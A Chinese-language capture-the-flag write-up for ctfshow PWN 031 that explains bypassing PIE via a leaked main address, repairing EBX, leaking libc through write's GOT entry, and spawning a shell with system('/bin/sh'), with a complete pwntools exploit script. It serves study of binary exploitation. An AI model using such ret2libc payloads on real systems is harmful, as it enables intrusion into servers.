本文仅用于技术研究,禁止用于非法用途。
Author:枷锁

PWN 031 中,防御等级从“静态阵地”升级为了“移动目标”。本关引入了 PIE (Position Independent Executable) 保护。这意味着程序每次运行时,内部所有函数(如 mainctfshow)的地址都会变化。

pwn 031 地址随机化下的精准定位

将 pwn 程序挂载在 远程服务器 端口

https://blog.csdn.net/2402_84408069/article/details/157094469?fromshare=blogdetail&sharetype=blogdetail&sharerId=157094469&sharerefer=PC&sharesource=2402_84408069&sharefrom=from_link

image-20260123000256853

题目描述

开启 ALSR 和 PIE 的情况下,仍可能被利用

解题过程:
checksec pwn检查程序

image-20260122215511529

  • Arch: i386-32-little (32位)
  • NX: Enabled (栈不可执行,需用 Ret2Libc)
  • PIE: Enabled (程序基址随机化 )
  • Canary: Disabled (可以进行栈溢出)

第一部分:基础概念

1. 什么是 PIE 保护?

  • 官方定义:PIE (Position Independent Executable) 是一种位置无关的可执行文件保护。
  • 通俗理解“房子会瞬移”。在 030 题中,main 函数总是住在“南京路 100 号”;但在开启 PIE 的 031 题中,main 函数今天可能在“1000 号”,明天可能在“5000 号”。
  • 突破口:程序在启动时主动“交待”了 main 函数当前的绝对地址。

2. 32 位 PIE 中的 EBX 寄存器

在 32 位 Linux 的 PIE 程序中,函数通常利用 EBX 寄存器 作为访问 GOT 表 的基准。

  • 如果你在溢出时把栈上的 ebx 覆盖成了垃圾字符(如 AAAA),程序在调用 write 等函数寻找 GOT 表时会因找不到“电话簿”而崩溃。
  • 因此,我们在构造 Payload 时,需要精准修复 ebx 的值。

第二部分:漏洞深度挖掘

1. 寻找溢出点与偏移

通过 IDA Pro 查看 mian函数

image-20260122221655572

通过 IDA Pro 查看 ctfshow 函数:

image-20260122221713913

寻找溢出点与偏移

通过 IDA Pro 查看 ctfshow 函数:

char buf[132]; // [esp+0h] [ebp-88h]
read(0, &buf, 0x100u);
  • 逻辑计算
    • 缓冲区 buf 大小:0x84字节(十进制 132)。
    • 相对偏移buf 位于 ebp-0x88。0x88等于十进制 136。
    • 栈结构分解
      1. 132 字节 (buf):从 ebp-136ebp-4
      2. 4 字节 (ebx):位于 ebp-4,紧跟在 buf 后面。
      3. 4 字节 (ebp):位于 ebp+0
      4. 返回地址:位于 ebp+4
    • 结论
      • 到达 ebx 的偏移量为 132 字节。
      • 到达 返回地址 的总偏移量为 136 + 4 =140字节。

2. 计算程序基址 (PIE Base)

本题给出了 main 的实时地址,我们通过它找回“原点”。

程序基址 (Base) = 泄露的 main 地址 - 静态 main 偏移

第三部分:深度逻辑解析

我们要把攻击拆分为:绕过 PIE -> 泄露 Libc -> 计算基址 -> 获取 Shell

阶段一:情报窃取 (The Leak) —— “修复 ebx 并泄露”

我们要强迫程序执行 write(1, write_got, 4),但前提是必须算好 ebx

1. Payload 1 堆栈图解:
# Payload 1 结构:填充 + 修复EBX + 覆盖EBP + write入口 + 返回地址 + 参数
payload1 = b"A" * 132
payload1 += p32(real_ebx)
payload1 += b"AAAA"
payload1 += p32(real_write_plt)
payload1 += p32(real_ctfshow)
payload1 += p32(1)
payload1 += p32(real_write_got)
payload1 += p32(4)

io.send(payload1)
栈空间位置 填充内容 通俗解释
底部 (132字节) b'A' * 132 “垫脚石”:填满 buf,刚好到达 ebx 存储位。
EBX 位置 p32(real_ebx) “修复基准”:填入 b a s e + 0 x 1 f c 0 base + 0x1fc0 base+0x1fc0,让程序能找到 GOT 表。
EBP 位置 b'AAAA' “垃圾填充”:覆盖 EBP 寄存器。
返回地址位 p32(real_write_plt) “目的地”:跳转到真实的 write 入口。
下个返回地址 p32(real_ctfshow) “无限套娃”:印完地址后滚回漏洞函数重启。
参数 1, 2, 3 p32(1) + p32(real_write_got) + p32(4) “指令参数”:打印 GOT 表里的真实地址。

阶段二:换算与绝杀 (The Exploit)

拿到泄露的 Libc 地址后,计算方法与 030 完全一致。

1. 计算公式

  • Libc_Base = leak_write_addr - libc.sym['write']
  • system_addr = Libc_Base + libc.sym['system']
  • bin_sh_addr = Libc_Base + next(libc.search(b'/bin/sh'))

2. Payload 2 绝杀构造

# 构造 Payload 2: 调用 system("/bin/sh")
# 此时偏移填 140 即可覆盖到返回地址
payload2 = b"B" * 140
payload2 += p32(system_addr)
payload2 += p32(real_ctfshow) # 执行完后跳回 ctfshow
payload2 += p32(bin_sh_addr)

io.send(payload2)

此时程序重启回到了 ctfshow,我们直接发送: b'A' * 140 + p32(system_addr) + p32(real_ctfshow) + p32(bin_sh_addr)

第四部分:保姆级脚本实现

from pwn import *

# ====================== 1. 基础配置 ======================
# 设置调试日志级别,debug可以看到详细的交互过程
context.log_level = 'debug'
# 设置架构为32位,避免pwn库自动识别出错
context.arch = 'i386'

# ====================== 2. 本地调试配置 ======================
# 启动本地进程
io = process('./pwn')
# 加载目标ELF文件
elf = ELF('./pwn')
# 自动加载本地 Libc 环境(用于计算 system 偏移)
libc = elf.libc 

# ====================== 3. 绕过 PIE:泄露基址 ======================
log.info("Step 1: 正在解析泄露的 main 地址...")

# 接收程序输出的 main 函数地址(16进制字符串)
main_addr_raw = io.recvline()
main_addr = int(main_addr_raw, 16)
log.success(f"Captured Main Address: {hex(main_addr)}")

# 计算程序在内存中的加载基址 (Binary Base)
binary_base = main_addr - elf.sym['main']
log.success(f"Calculated Binary Base: {hex(binary_base)}")

# 计算重定位后的关键地址
ctfshow_addr = binary_base + elf.sym['ctfshow']
write_plt = binary_base + elf.plt['write']
write_got = binary_base + elf.got['write']
ebx_val = binary_base + 0x1fc0  # 根据 IDA 分析得到的 GOT 锚点

# ====================== 4. 阶段一:泄露 Libc 地址 ======================
log.info("Step 2: 发送 Payload 1 泄露 write 真实地址...")

# 构造 Payload 1
# 结构:填充偏移(132) + ebx修复(4) + EBP填充(4) + 函数入口 + 返回地址 + 参数
padding = b"A" * 132 
payload1 = padding + p32(ebx_val) + b"AAAA" + p32(write_plt) + \
           p32(ctfshow_addr) + p32(1) + p32(write_got) + p32(4)

io.send(payload1)

# 接收泄露出的 4 字节 write 地址并转换为整数
write_addr = u32(io.recv(4))
log.success(f"Leaked Write Real Address: {hex(write_addr)}")

# ====================== 5. 阶段二:计算 Libc 基址 ======================
libc_base = write_addr - libc.sym['write']
log.success(f"Libc Base Address: {hex(libc_base)}")

# 计算 system 函数和 "/bin/sh" 字符串在内存中的绝对地址
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

log.info(f"System Address: {hex(system_addr)}")
log.info(f"Bin_sh Address: {hex(binsh_addr)}")

# ====================== 6. 阶段三:绝杀攻击获取 Shell ======================
log.info("Step 3: 发送 Payload 2 执行 System...")

# 构造 Payload 2:调用 system("/bin/sh")
# 填充偏移 140 (132+4+4) 后直接覆盖返回地址
payload2 = b"B" * 140 + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)

io.send(payload2)

# ====================== 7. 夺取权限 ======================
log.success("Exploit Finished! Switching to Interactive Mode...")
io.interactive()

image-20260122230911211

总结:PWN 031 的核心逻辑

步骤 动作 本质
破防 利用泄露的 main 地址 找回随机化后的程序基点
修补 在栈上精准填入 EBX 维持 32 位 PIE 环境下的函数调用合法性
泄露 调用 write 打印 GOT 表 在随机化的内存中定位 Libc 武器库
注入 调用 system("/bin/sh") 最终拿走服务器控制权

提示:在 32 位 PIE 题目中,ebx 的偏移(如 0x1fc0)可以通过 IDA 查看 _GLOBAL_OFFSET_TABLE_Base 的差值获得。

宇宙级免责声明
🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。

🔐 安全研究的正确姿势:
✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界

⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。

希望这个教程对你有所帮助!记得负责任地进行安全测试。

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐